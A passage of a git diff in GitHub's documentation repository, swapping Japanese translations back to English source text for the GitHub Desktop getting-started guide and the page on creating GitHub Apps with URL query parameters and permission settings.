%}](/desktop/installing-and-configuring-github-desktop/installing-github-desktop)." -{% data variables.product.prodname_desktop %} をインストールした後、{% data variables.product.prodname_dotcom %} または {% data variables.product.prodname_enterprise %} のアカウントでアプリケーションを認証できます。 認証されると、{% data variables.product.prodname_dotcom %} または {% data variables.product.prodname_enterprise %} のリモートリポジトリに接続できます。 +After you have installed {% data variables.product.prodname_desktop %}, you can authenticate the application with your account on {% data variables.product.prodname_dotcom %} or {% data variables.product.prodname_enterprise %}. Authenticating allows you to connect to remote repositories on {% data variables.product.prodname_dotcom %} or {% data variables.product.prodname_enterprise %}. {% mac %} -1. {% data variables.product.prodname_dotcom %} または {% data variables.product.prodname_enterprise %} に認証する前に、アカウントが必要になります。 アカウントの作成の詳細については、「 [新しい {% data variables.product.prodname_dotcom %} アカウントにサインアップする](/github/getting-started-with-github/signing-up-for-a-new-github-account)」を参照するか、{% data variables.product.prodname_enterprise %} のサイト管理者にお問い合わせください。 +1. Before you can authenticate to {% data variables.product.prodname_dotcom %} or {% data variables.product.prodname_enterprise %}, you will need an account. For more information about creating an account, see "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/github/getting-started-with-github/signing-up-for-a-new-github-account)" or contact your {% data variables.product.prodname_enterprise %} site administrator. -2. [{% data variables.product.prodname_desktop %}] ドロップダウンメニューで、[**Preferences**] をクリックします。 設定ウィンドウで、[**Accounts**] をクリックし、手順に従ってサインインします。 認証の詳細については、「[{% data variables.product.prodname_dotcom %} への認証を行う](/desktop/getting-started-with-github-desktop/authenticating-to-github)」を参照してください。 ![GitHubのサインインボタン](/assets/images/help/desktop/mac-sign-in-github.png) +2. In the {% data variables.product.prodname_desktop %} drop-down menu, click **Preferences**. In the preferences window, click **Accounts** and follow the steps to sign in. For more information on authenticating, see "[Authenticating to {% data variables.product.prodname_dotcom %}](/desktop/getting-started-with-github-desktop/authenticating-to-github)." + ![The Sign In button for GitHub](/assets/images/help/desktop/mac-sign-in-github.png) {% endmac %} {% windows %} -1. {% data variables.product.prodname_dotcom %} または {% data variables.product.prodname_enterprise %} に認証する前に、アカウントが必要になります。 アカウントの作成の詳細については、「 [新しい {% data variables.product.prodname_dotcom %} アカウントにサインアップする](/github/getting-started-with-github/signing-up-for-a-new-github-account)」を参照するか、{% data variables.product.prodname_enterprise %} のサイト管理者にお問い合わせください。 +1. Before you can authenticate to {% data variables.product.prodname_dotcom %} or {% data variables.product.prodname_enterprise %}, you will need an account. For more information about creating an account, see "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/github/getting-started-with-github/signing-up-for-a-new-github-account)" or contact your {% data variables.product.prodname_enterprise %} site administrator. -2. [File] ドロップダウンメニューで、[**Options**] をクリックします。 オプションウィンドウで、[**Accounts**] をクリックし、手順に従ってサインインします。 認証の詳細については、「[{% data variables.product.prodname_dotcom %} への認証を行う](/desktop/getting-started-with-github-desktop/authenticating-to-github)」を参照してください。 ![GitHubのサインインボタン](/assets/images/help/desktop/windows-sign-in-github.png) +2. In the File drop-down menu, click **Options**. In the options window, click **Accounts** and follow the steps to sign in. For more information on authenticating, see "[Authenticating to {% data variables.product.prodname_dotcom %}](/desktop/getting-started-with-github-desktop/authenticating-to-github)." + ![The Sign In button for GitHub](/assets/images/help/desktop/windows-sign-in-github.png) {% endwindows %} -## パート 2: {% data variables.product.prodname_desktop %} のカスタマイズと設定 -{% data variables.product.prodname_desktop %} のインストール後、ニーズに最も合うようにアプリを設定してカスタマイズできます。 +## Part 2: Configuring and customizing {% data variables.product.prodname_desktop %} +After you install {% data variables.product.prodname_desktop %}, you can configure and customize the app to best suit your needs. {% mac %} -{% data variables.product.prodname_dotcom %} または {% data variables.product.prodname_enterprise %} でのアカウントの接続または削除、デフォルトのテキストエディタやシェルの選択、Git 設定の編集、{% data variables.product.prodname_desktop %} の外観の変更、システムダイアログボックスのカスタマイズ、{% data variables.product.prodname_desktop %} の [Preferences] ウィンドウでのプライバシー設定ができます。 詳しい情報については、「[基本的な設定](/desktop/getting-started-with-github-desktop/configuring-basic-settings)」を参照してください。 +You can connect or remove accounts on {% data variables.product.prodname_dotcom %} or {% data variables.product.prodname_enterprise %}, choose a default text editor or shell, edit your Git configuration, change the appearance of {% data variables.product.prodname_desktop %}, customize system dialog boxes, and set privacy preferences in the {% data variables.product.prodname_desktop %} Preferences window. For more information, see "[Configuring basic settings](/desktop/getting-started-with-github-desktop/configuring-basic-settings)." - ![[Preference] ウィンドウの基本設定](/assets/images/help/desktop/mac-appearance-tab-themes.png) + ![The basic settings in the Preference window](/assets/images/help/desktop/mac-appearance-tab-themes.png) {% endmac %} {% windows %} -{% data variables.product.prodname_dotcom %} または {% data variables.product.prodname_enterprise %} でのアカウントの接続または削除、デフォルトのテキストエディタやシェルの選択、Git 設定の編集、{% data variables.product.prodname_desktop %} の外観の変更、システムダイアログボックスのカスタマイズ、{% data variables.product.prodname_desktop %} の [Options] ウィンドウでのプライバシー設定ができます。 詳しい情報については、「[基本的な設定](/desktop/getting-started-with-github-desktop/configuring-basic-settings)」を参照してください。 +You can connect or remove accounts on {% data variables.product.prodname_dotcom %} or {% data variables.product.prodname_enterprise %}, choose a default text editor or shell, edit your Git configuration, change the appearance of {% data variables.product.prodname_desktop %}, customize system dialog boxes, and set privacy preferences in the {% data variables.product.prodname_desktop %} Options window. For more information, see "[Configuring basic settings](/desktop/getting-started-with-github-desktop/configuring-basic-settings)." - ![[Options] ウィンドウの基本設定](/assets/images/help/desktop/windows-appearance-tab-themes.png) + ![The basic settings in the Options window](/assets/images/help/desktop/windows-appearance-tab-themes.png) {% endwindows %} -## パート 3: {% data variables.product.prodname_desktop %} でプロジェクトに貢献する -アプリをインストール、認証、設定すると、{% data variables.product.prodname_desktop %} を使用開始できます。 リポジトリを作成、追加、またはクローンし、{% data variables.product.prodname_desktop %} を使用してリポジトリへのコントリビューションを管理できます。 +## Part 3: Contributing to projects with {% data variables.product.prodname_desktop %} +After installing, authenticating, and configuring the app, you are ready to start using {% data variables.product.prodname_desktop %}. You can create, add, or clone repositories and use {% data variables.product.prodname_desktop %} to manage contributions to your repositories. -### リポジトリの作成、追加、クローン作成 -[File] メニューを選択し、[**New repository...**] をクリックすると、新しいリポジトリを作成できます。 詳しい情報については、「[{% data variables.product.prodname_desktop %} を使用して最初のリポジトリを作成する](/desktop/getting-started-with-github-desktop/creating-your-first-repository-using-github-desktop)」を参照してください。 +### Creating, adding, and cloning repositories +You can create a new repository by selecting the File menu and clicking **New repository...**. For more information, see "[Creating your first repository using {% data variables.product.prodname_desktop %}](/desktop/getting-started-with-github-desktop/creating-your-first-repository-using-github-desktop)." -[File] メニューを選択し、[**Add Local Repository...**] をクリックすると、ローカルコンピューターからリポジトリを追加できます。 詳しい情報については、「[ローカルコンピューターから {% data variables.product.prodname_desktop %} にリポジトリを追加する](/desktop/contributing-and-collaborating-using-github-desktop/adding-a-repository-from-your-local-computer-to-github-desktop)」を参照してください。 +You can add a repository from your local computer by selecting the File menu and clicking **Add Local Repository...**. For more information, see "[Adding a repository from your local computer to {% data variables.product.prodname_desktop %}](/desktop/contributing-and-collaborating-using-github-desktop/adding-a-repository-from-your-local-computer-to-github-desktop)." -[File] メニューを選択し、[**Clone Repository...**] をクリックすると、{% data variables.product.prodname_dotcom %} からリポジトリのクローンを作成できます。 詳しい情報については、「[{% data variables.product.prodname_desktop %} からのリポジトリのクローンとフォーク](/desktop/contributing-and-collaborating-using-github-desktop/cloning-and-forking-repositories-from-github-desktop)」を参照してください。 +You can clone a repository from {% data variables.product.prodname_dotcom %} by selecting the File menu and clicking **Clone Repository...**. For more information, see "[Cloning and Forking Repositories from {% data variables.product.prodname_desktop %}](/desktop/contributing-and-collaborating-using-github-desktop/cloning-and-forking-repositories-from-github-desktop)." {% mac %} - ![リポジトリの作成、追加、およびクローン作成に関する [File] メニューオプション](/assets/images/help/desktop/mac-file-menu.png) + ![The File menu options for creating, adding, and cloning repositories](/assets/images/help/desktop/mac-file-menu.png) {% endmac %} {% windows %} - ![リポジトリの作成、追加、およびクローン作成に関する [File] メニューオプション](/assets/images/help/desktop/windows-file-menu.png) + ![The File menu options for creating, adding, and cloning repositories](/assets/images/help/desktop/windows-file-menu.png) {% endwindows %} -### ブランチでの変更 -{% data variables.product.prodname_desktop %} を使用して、プロジェクトのブランチを作成できます。 ブランチは、開発作業をリポジトリ内の他のブランチから分離するため、変更を安全に試すことができます。 詳しい情報については、「[ブランチを管理する](/desktop/contributing-and-collaborating-using-github-desktop/managing-branches)」を参照してください。 +### Making changes in a branch +You can use {% data variables.product.prodname_desktop %} to create a branch of a project. Branches isolate your development work from other branches in the repository, so that you can safely experiment with changes. For more information, see "[Managing branches](/desktop/contributing-and-collaborating-using-github-desktop/managing-branches)." - ![[New Branch] ボタン](/assets/images/help/desktop/new-branch-button-mac.png) + ![The New Branch button](/assets/images/help/desktop/new-branch-button-mac.png) -ブランチに変更を加えた後、{% data variables.product.prodname_desktop %} で確認し、変更の追跡のためにコミットすることができます。 詳しい情報については「[プロジェクトに対する変更のコミットとレビュー](/desktop/contributing-and-collaborating-using-github-desktop/committing-and-reviewing-changes-to-your-project)」を参照してください。 +After you make changes to a branch, you can review them in {% data variables.product.prodname_desktop %} and make a commit to keep track of your changes. For more information, see "[Committing and reviewing changes to your project](/desktop/contributing-and-collaborating-using-github-desktop/committing-and-reviewing-changes-to-your-project)." - ![コミットの表示と作成](/assets/images/help/desktop/commit-button.png) + ![Viewing and making commits](/assets/images/help/desktop/commit-button.png) -変更にリモートでアクセスしたり、他のユーザと共有したりする場合は、コミットを {% data variables.product.prodname_dotcom %} にプッシュします。 詳しい情報については、「[{% data variables.product.prodname_dotcom %} への変更をプッシュする](/desktop/contributing-and-collaborating-using-github-desktop/pushing-changes-to-github)」を参照してください。 +If you want to access your changes remotely or share them with other people, you can push your commits to {% data variables.product.prodname_dotcom %}. For more information, see "[Pushing changes to {% data variables.product.prodname_dotcom %}](/desktop/contributing-and-collaborating-using-github-desktop/pushing-changes-to-github)." -### {% data variables.product.prodname_desktop %} とのコラボレーション -{% data variables.product.prodname_desktop %} を使用して、問題を作成したり、リクエストをプルして他のユーザとプロジェクトでコラボレーションしたりすることができます。 Issue は、アイデアを追跡し、プロジェクトに加えられる可能性のある変更について議論する際に役立ちます。 プルリクエストを使用すると、提案された変更を他のユーザと共有したり、フィードバックを受け取ったり、変更をプロジェクトにマージしたりすることができます。 詳しい情報については、「[Issue またはプルリクエストを作成する](/desktop/contributing-and-collaborating-using-github-desktop/creating-an-issue-or-pull-request)」を参照してください。 +### Collaborating with {% data variables.product.prodname_desktop %} +You can use {% data variables.product.prodname_desktop %} to create issues or pull requests to collaborate on projects with other people. Issues help you keep track of ideas and discuss possible changes to projects. Pull requests let you share your proposed changes with others, receive feedback, and merge changes into a project. For more information, see "[Creating an issue or pull request](/desktop/contributing-and-collaborating-using-github-desktop/creating-an-issue-or-pull-request)."'' -自分またはコラボレータのプルリクエストは、{% data variables.product.prodname_desktop %} で見ることができます。 {% data variables.product.prodname_desktop %} でプルリクエストを表示し、デフォルトのテキストエディタでプロジェクトのファイルとリポジトリを開くと、提案された変更を確認して、追加の変更を加えることができます。 詳しい情報については、「[{% data variables.product.prodname_desktop %} のプルリクエストを表示する](/desktop/contributing-and-collaborating-using-github-desktop/viewing-a-pull-request-in-github-desktop)」を参照してください。 +You can view your own or your collaborator's pull requests in {% data variables.product.prodname_desktop %}. Viewing a pull request in {% data variables.product.prodname_desktop %} lets you see any proposed changes and make additional changes by opening the project's files and repositories in your default text editor. For more information, see "[Viewing a pull request in {% data variables.product.prodname_desktop %}](/desktop/contributing-and-collaborating-using-github-desktop/viewing-a-pull-request-in-github-desktop)." -### ローカルリポジトリの同期を維持する -ローカルリポジトリに変更を加える場合、または他のユーザがリモートリポジトリに変更を加える場合は、プロジェクトのローカルコピーをリモートリポジトリと同期する必要があります。 {% data variables.product.prodname_desktop %} は、コミットをプッシュおよびプルすることにより、プロジェクトのローカルコピーをリモートバージョンと同期させることができます。 詳しい情報については、「[ブランチを同期する](/desktop/contributing-and-collaborating-using-github-desktop/syncing-your-branch)」を参照してください。 +### Keeping your local repository in sync +When you make changes to your local repositories or when other people make changes to the remote repositories, you will need to sync your local copy of the project with the remote repository. {% data variables.product.prodname_desktop %} can keep your local copy of a project in sync with the remote version by pushing and pulling commits. For more information, see "[Syncing your branch](/desktop/contributing-and-collaborating-using-github-desktop/syncing-your-branch)." -## 参考リンク -- 「[{% data variables.product.prodname_desktop %} へのインストールと認証](/desktop/getting-started-with-github-desktop/installing-and-authenticating-to-github-desktop)」 -- 「[{% data variables.product.prodname_desktop %} を使用した貢献とコラボレーション](/desktop/contributing-and-collaborating-using-github-desktop)」 +## Further reading +- "[Installing and authenticating to {% data variables.product.prodname_desktop %}](/desktop/getting-started-with-github-desktop/installing-and-authenticating-to-github-desktop)" +- "[Contributing and collaborating using {% data variables.product.prodname_desktop %}](/desktop/contributing-and-collaborating-using-github-desktop)" diff --git a/translations/ja-JP/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md b/translations/ja-JP/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md index ceef7e0b30..5d3b70e9d9 100644 --- a/translations/ja-JP/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md +++ b/translations/ja-JP/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md @@ -1,6 +1,6 @@ --- -title: URL パラメータを使用して GitHub App を作成する -intro: '新しい {% data variables.product.prodname_github_app %} の構成を迅速に設定するため、URL [クエリパラメータ] (https://en.wikipedia.org/wiki/Query_string) を使用して新しい {% data variables.product.prodname_github_app %} の設定を事前設定できます。' +title: Creating a GitHub App using URL parameters +intro: 'You can preselect the settings of a new {% data variables.product.prodname_github_app %} using URL [query parameters](https://en.wikipedia.org/wiki/Query_string) to quickly set up the new {% data variables.product.prodname_github_app %}''s configuration.' redirect_from: - /apps/building-github-apps/creating-github-apps-using-url-parameters - /developers/apps/creating-a-github-app-using-url-parameters @@ -11,23 +11,22 @@ versions: ghec: '*' topics: - GitHub Apps -shortTitle: アプリケーション作成のクエリパラメータ +shortTitle: App creation query parameters --- +## About {% data variables.product.prodname_github_app %} URL parameters -## {% data variables.product.prodname_github_app %} URL パラメータについて +You can add query parameters to these URLs to preselect the configuration of a {% data variables.product.prodname_github_app %} on a personal or organization account: -個人または Organization アカウントで、{% data variables.product.prodname_github_app %} の構成を事前設定する以下の URL をクエリパラメータに追加できます。 +* **User account:** `{% data variables.product.oauth_host_code %}/settings/apps/new` +* **Organization account:** `{% data variables.product.oauth_host_code %}/organizations/:org/settings/apps/new` -* **ユーザアカウント:** `{% data variables.product.oauth_host_code %}/settings/apps/new` -* **Organization アカウント:** `{% data variables.product.oauth_host_code %}/organizations/:org/settings/apps/new` - -アプリケーションを作成するユーザは、アプリケーションをサブミットする前に {% data variables.product.prodname_github_app %} 登録ページから事前設定する値を編集できます。 URL クエリ文字列に `name` などの必須の値を含めない場合、アプリケーションを作成するユーザが、アプリケーションをサブミットする前に値を入力する必要があります。 +The person creating the app can edit the preselected values from the {% data variables.product.prodname_github_app %} registration page, before submitting the app. If you do not include required parameters in the URL query string, like `name`, the person creating the app will need to input a value before submitting the app. {% ifversion ghes > 3.1 or fpt or ghae-next or ghec %} -webhook を保護するためにシークレットが必要なアプリケーションの場合、シークレットの値はクエリパラメータではなく、アプリケーションを作成する人がフォームに設定する必要があります。 詳しい情報については「[webhookをセキュアにする](/developers/webhooks-and-events/webhooks/securing-your-webhooks)」を参照してください。 +For apps that require a secret to secure their webhook, the secret's value must be set in the form by the person creating the app, not by using query parameters. For more information, see "[Securing your webhooks](/developers/webhooks-and-events/webhooks/securing-your-webhooks)." {% endif %} -以下の URL は、説明とコールバック URL が事前設定された、`octocat-github-app` という新しい公開アプリケーションを作成します。 また、この URL は`checks` の読み取りおよび書き込み権限を選択し、`check_run` および `check_suite` webhook イベントにサブスクライブし、インストール時にユーザの認可 (OAuth) をリクエストするオプションを選択します。 +The following URL creates a new public app called `octocat-github-app` with a preconfigured description and callback URL. This URL also selects read and write permissions for `checks`, subscribes to the `check_run` and `check_suite` webhook events, and selects the option to request user authorization (OAuth) during installation: {% ifversion fpt or ghae-next or ghes > 3.0 or ghec %} @@ -43,101 +42,102 @@ webhook を保護するためにシークレットが必要なアプリケーシ {% endif %} -使用可能なクエリパラメータ、権限、およびイベントの完全なリストを、以下のセクションに記載します。 +The complete list of available query parameters, permissions, and events is listed in the sections below. ## {% data variables.product.prodname_github_app %} configuration parameters - | 名前 | 種類 | 説明 | - | -------------------------------------------------- | ------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | - | `name` | `string` | {% data variables.product.prodname_github_app %} の名前。 アプリケーションには簡潔で明快な名前を付けましょう。 アプリケーションの名前は、既存の GitHub ユーザと同じ名前にできません。ただし、その名前があなた自身のユーザ名や Organization 名である場合は例外です。 インテグレーションが動作すると、ユーザインターフェース上にアプリケーション名のスラッグが表示されます。 | - | `説明` | `string` | {% data variables.product.prodname_github_app %} の説明。 | - | `url` | `string` | {% data variables.product.prodname_github_app %}のウェブサイトの完全なURL。{% ifversion fpt or ghae-next or ghes > 3.0 or ghec %} - | `callback_urls` | `array of strings` | インストールの承認後にリダイレクトする完全な URL。 最大 10 個のコールバック URL を指定できます。 この URL は、アプリケーションがユーザからサーバへのリクエストを識別して承認する必要がある場合に使用されます。 たとえば、`callback_urls[]=https://example.com&callback_urls[]=https://example-2.com`などです。{% else %} - | `callback_url` | `string` | インストールの承認後にリダイレクトする完全な URL。 この URL は、アプリケーションがユーザからサーバへのリクエストを識別して承認する必要がある場合に使用されます。{% endif %} - | `request_oauth_on_install` | `boolean` | アプリケーションが OAuth フローを使用してユーザを認可する場合、このオプションを `true` にして、インストール時にアプリケーションを認可し、ステップを省略するように設定できます。 このオプションを選択した場合、`setup_url` が利用できなくなり、アプリケーションのインストール後はあなたが設定した `callback_url` にリダイレクトされます。 | - | `setup_url` | `string` | {% data variables.product.prodname_github_app %} アプリケーションをインストール後に追加セットアップが必要な場合に、リダイレクトする完全な URL。 | - | `setup_on_update` | `boolean` | `true` に設定すると、たとえばリポジトリが追加や削除された後など、インストールしたアプリケーションが更新された場合に、ユーザをセットアップ URL にリダイレクトします。 | - | `public` | `boolean` | {% data variables.product.prodname_github_app %} を公開する場合には `true` に、アプリケーションの所有者のみがアクセスできるようにするには `false` を設定。 | - | `webhook_url` | `string` | webhook イベントペイロードを送信する完全な URL。 | - | {% ifversion ghes < 3.2 or ghae %}`webhook_secret` | `string` | webhook を保護するためのシークレットを指定できます。 詳細は「[webhook を保護する](/webhooks/securing/)」を参照。 | - | {% endif %}`events` | `array of strings` | webhook イベント. 一部の webhook イベントでは、新しい {% data variables.product.prodname_github_app %} を登録する際、イベントを選択するために`read` または `write` 権限が必要です。 利用可能なイベントと、それに必要な権限については、「[{% data variables.product.prodname_github_app %} webhook イベント](#github-app-webhook-events)」セクションを参照してください。 クエリ文字列では、複数のイベントを選択できます。 たとえば、`events[]=public&events[]=label` とできます。 | - | `ドメイン` | `string` | コンテンツ参照の URL。 | - | `single_file_name` | `string` | これは、アプリケーションが任意のリポジトリの単一のファイルにアクセスできるようにするための、スコープの狭い権限です。 `single_file` 権限を `read` または `write` に設定すると、このフィールドは {% data variables.product.prodname_github_app %} が扱う単一のファイルへのパスを指定します。 {% ifversion fpt or ghes or ghec %}複数のファイルを扱う必要がある場合、以下の `single_file_paths` を参照してください。 {% endif %}{% ifversion fpt or ghes or ghec %} - | `single_file_paths` | `array of strings` | アプリケーションが、リポジトリ内の指定した最大 10 ファイルにアクセスできるようにします。 `single_file` 権限を `read` または `write` に設定すると、この配列は {% data variables.product.prodname_github_app %} が扱う最大 10 個のファイルへのパスを格納できます。 これらのファイルには、それぞれ別々の権限があたえられるでのではなく、すべて `single_file` が設定したものと同じ権限が与えられます。 2 つ以上のファイルが設定されている場合、API は `multiple_single_files=true` を返し、それ以外の場合は `multiple_single_files=false` を返します。{% endif %} + Name | Type | Description +-----|------|------------- +`name` | `string` | The name of the {% data variables.product.prodname_github_app %}. Give your app a clear and succinct name. Your app cannot have the same name as an existing GitHub user, unless it is your own user or organization name. A slugged version of your app's name will be shown in the user interface when your integration takes an action. +`description` | `string` | A description of the {% data variables.product.prodname_github_app %}. +`url` | `string` | The full URL of your {% data variables.product.prodname_github_app %}'s website homepage.{% ifversion fpt or ghae-next or ghes > 3.0 or ghec %} +`callback_urls` | `array of strings` | A full URL to redirect to after someone authorizes an installation. You can provide up to 10 callback URLs. These URLs are used if your app needs to identify and authorize user-to-server requests. For example, `callback_urls[]=https://example.com&callback_urls[]=https://example-2.com`.{% else %} +`callback_url` | `string` | The full URL to redirect to after someone authorizes an installation. This URL is used if your app needs to identify and authorize user-to-server requests.{% endif %} +`request_oauth_on_install` | `boolean` | If your app authorizes users using the OAuth flow, you can set this option to `true` to allow people to authorize the app when they install it, saving a step. If you select this option, the `setup_url` becomes unavailable and users will be redirected to your `callback_url` after installing the app. +`setup_url` | `string` | The full URL to redirect to after someone installs the {% data variables.product.prodname_github_app %} if the app requires additional setup after installation. +`setup_on_update` | `boolean` | Set to `true` to redirect people to the setup URL when installations have been updated, for example, after repositories are added or removed. +`public` | `boolean` | Set to `true` when your {% data variables.product.prodname_github_app %} is available to the public or `false` when it is only accessible to the owner of the app. +`webhook_active` | `boolean` | Set to `false` to disable webhook. Webhook is enabled by default. +`webhook_url` | `string` | The full URL that you would like to send webhook event payloads to. +{% ifversion ghes < 3.2 or ghae %}`webhook_secret` | `string` | You can specify a secret to secure your webhooks. See "[Securing your webhooks](/webhooks/securing/)" for more details. +{% endif %}`events` | `array of strings` | Webhook events. Some webhook events require `read` or `write` permissions for a resource before you can select the event when registering a new {% data variables.product.prodname_github_app %}. See the "[{% data variables.product.prodname_github_app %} webhook events](#github-app-webhook-events)" section for available events and their required permissions. You can select multiple events in a query string. For example, `events[]=public&events[]=label`. +`domain` | `string` | The URL of a content reference. +`single_file_name` | `string` | This is a narrowly-scoped permission that allows the app to access a single file in any repository. When you set the `single_file` permission to `read` or `write`, this field provides the path to the single file your {% data variables.product.prodname_github_app %} will manage. {% ifversion fpt or ghes or ghec %} If you need to manage multiple files, see `single_file_paths` below. {% endif %}{% ifversion fpt or ghes or ghec %} +`single_file_paths` | `array of strings` | This allows the app to access up ten specified files in a repository. When you set the `single_file` permission to `read` or `write`, this array can store the paths for up to ten files that your {% data variables.product.prodname_github_app %} will manage. These files all receive the same permission set by `single_file`, and do not have separate individual permissions. When two or more files are configured, the API returns `multiple_single_files=true`, otherwise it returns `multiple_single_files=false`.{% endif %} -## {% data variables.product.prodname_github_app %} の権限 +## {% data variables.product.prodname_github_app %} permissions -以下の表にある権限名をクエリパラメータ名として、権限タイプをクエリの値として使用することで、クエリ文字列で権限を設定できます。 たとえば、`contents` のユーザインターフェースに `Read & write` 権限を設定するには、クエリ文字列に `&contents=write` を含めます。 `blocking` のユーザインターフェースに `Read-only` 権限を設定するには、クエリ文字列に `&blocking=read` を含めます。 `checks` のユーザインターフェースに `no-access` を設定するには、クエリ文字列に `checks` 権限を含めないようにします。 +You can select permissions in a query string using the permission name in the following table as the query parameter name and the permission type as the query value. For example, to select `Read & write` permissions in the user interface for `contents`, your query string would include `&contents=write`. To select `Read-only` permissions in the user interface for `blocking`, your query string would include `&blocking=read`. To select `no-access` in the user interface for `checks`, your query string would not include the `checks` permission. -| 権限 | 説明 | -| -------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| [`administration`](/rest/reference/permissions-required-for-github-apps/#permission-on-administration) | Organization およびリポジトリ管理のためのさまざまなエンドポイントにアクセス権を付与します。 `none`、`read`、`write` のいずれかです。{% ifversion fpt or ghec %} -| [`blocking`](/rest/reference/permissions-required-for-github-apps/#permission-on-blocking) | [Blocking Users API](/rest/reference/users#blocking) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。{% endif %} -| [`checks`](/rest/reference/permissions-required-for-github-apps/#permission-on-checks) | [Checks API](/rest/reference/checks) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。 | -| `content_references` | 「[コンテンツ添付の作成](/rest/reference/apps#create-a-content-attachment)」エンドポイントへのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。 | -| [`contents`](/rest/reference/permissions-required-for-github-apps/#permission-on-contents) | さまざまなエンドポイントにアクセス権を付与し、リポジトリのコンテンツを変更できるようにします。 `none`、`read`、`write` のいずれかです。 | -| [`deployments`](/rest/reference/permissions-required-for-github-apps/#permission-on-deployments) | [Deployments API](/rest/reference/repos#deployments) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。{% ifversion fpt or ghes or ghec %} -| [`emails`](/rest/reference/permissions-required-for-github-apps/#permission-on-emails) | [Emails API](/rest/reference/users#emails) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。{% endif %} -| [`followers`](/rest/reference/permissions-required-for-github-apps/#permission-on-followers) | [Followers API](/rest/reference/users#followers) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。 | -| [`gpg_keys`](/rest/reference/permissions-required-for-github-apps/#permission-on-gpg-keys) | [GPG Keys API](/rest/reference/users#gpg-keys) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。 | -| [`issues`](/rest/reference/permissions-required-for-github-apps/#permission-on-issues) | [Issues API](/rest/reference/issues) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。 | -| [`keys`](/rest/reference/permissions-required-for-github-apps/#permission-on-keys) | [Public Keys API](/rest/reference/users#keys) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。 | -| [`members`](/rest/reference/permissions-required-for-github-apps/#permission-on-members) | Organization のメンバーへのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。{% ifversion fpt or ghec %} -| [`メタデータ`](/rest/reference/permissions-required-for-github-apps/#metadata-permissions) | 機密データを漏洩しない、読み取り専用のエンドポイントへのアクセス権を付与します。 `read`、`none` のいずれかです。 {% data variables.product.prodname_github_app %} に何らかの権限を設定した場合、デフォルトは `read` となり、権限を指定しなかった場合、デフォルトは `none` となります。 | -| [`organization_administration`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-administration) | 「[Organization の更新](/rest/reference/orgs#update-an-organization)」エンドポイントと、[Organization Interaction Restrictions API](/rest/reference/interactions#set-interaction-restrictions-for-an-organization) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。{% endif %} -| [`organization_hooks`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-hooks) | [Organization Webhooks API](/rest/reference/orgs#webhooks/) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。 | -| `organization_plan` | 「[Organization の取得](/rest/reference/orgs#get-an-organization)」エンドポイントを使用して Organization のプランについての情報を取得するためのアクセス権を付与します。 `none`、`read` のいずれかです。 | -| [`organization_projects`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-projects) | [Projects API](/rest/reference/projects) へのアクセス権を付与します。 `none`、`read`、`write`、`admin` のいずれかです。{% ifversion fpt or ghec %} -| [`organization_user_blocking`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-projects) | [Blocking Organization Users API](/rest/reference/orgs#blocking) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。{% endif %} -| [`pages`](/rest/reference/permissions-required-for-github-apps/#permission-on-pages) | [Pages API](/rest/reference/repos#pages) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。 | -| `plan` | 「[ユーザの取得](/rest/reference/users#get-a-user)」エンドポイントを使用してユーザの GitHub プランについての情報を取得するためのアクセス権を付与します。 `none`、`read` のいずれかです。 | -| [`pull_requests`](/rest/reference/permissions-required-for-github-apps/#permission-on-pull-requests) | さまざまなプルリクエストエンドポイントへのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。 | -| [`repository_hooks`](/rest/reference/permissions-required-for-github-apps/#permission-on-repository-hooks) | [Repository Webhooks API](/rest/reference/repos#hooks) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。 | -| [`repository_projects`](/rest/reference/permissions-required-for-github-apps/#permission-on-repository-projects) | [Projects API](/rest/reference/projects) へのアクセス権を付与します。 `none`、`read`、`write`、`admin` のいずれかです。{% ifversion fpt or ghes > 3.0 or ghec %} -| [`secret_scanning_alerts`](/rest/reference/permissions-required-for-github-apps/#permission-on-secret-scanning-alerts) | [Secret scanning API](/rest/reference/secret-scanning) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。{% endif %}{% ifversion fpt or ghes or ghec %} -| [`security_events`](/rest/reference/permissions-required-for-github-apps/#permission-on-security-events) | [Code scanning API](/rest/reference/code-scanning/) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。{% endif %} -| [`single_file`](/rest/reference/permissions-required-for-github-apps/#permission-on-single-file) | [Contents API](/rest/reference/repos#contents) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。 | -| [`starring`](/rest/reference/permissions-required-for-github-apps/#permission-on-starring) | [Starring API](/rest/reference/activity#starring) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。 | -| [`statuses`](/rest/reference/permissions-required-for-github-apps/#permission-on-statuses) | [Statuses API](/rest/reference/repos#statuses) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。 | -| [`team_discussions`](/rest/reference/permissions-required-for-github-apps/#permission-on-team-discussions) | [Team Discussions API](/rest/reference/teams#discussions) および [Team Discussion Comments API](/rest/reference/teams#discussion-comments) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。{% ifversion fpt or ghes or 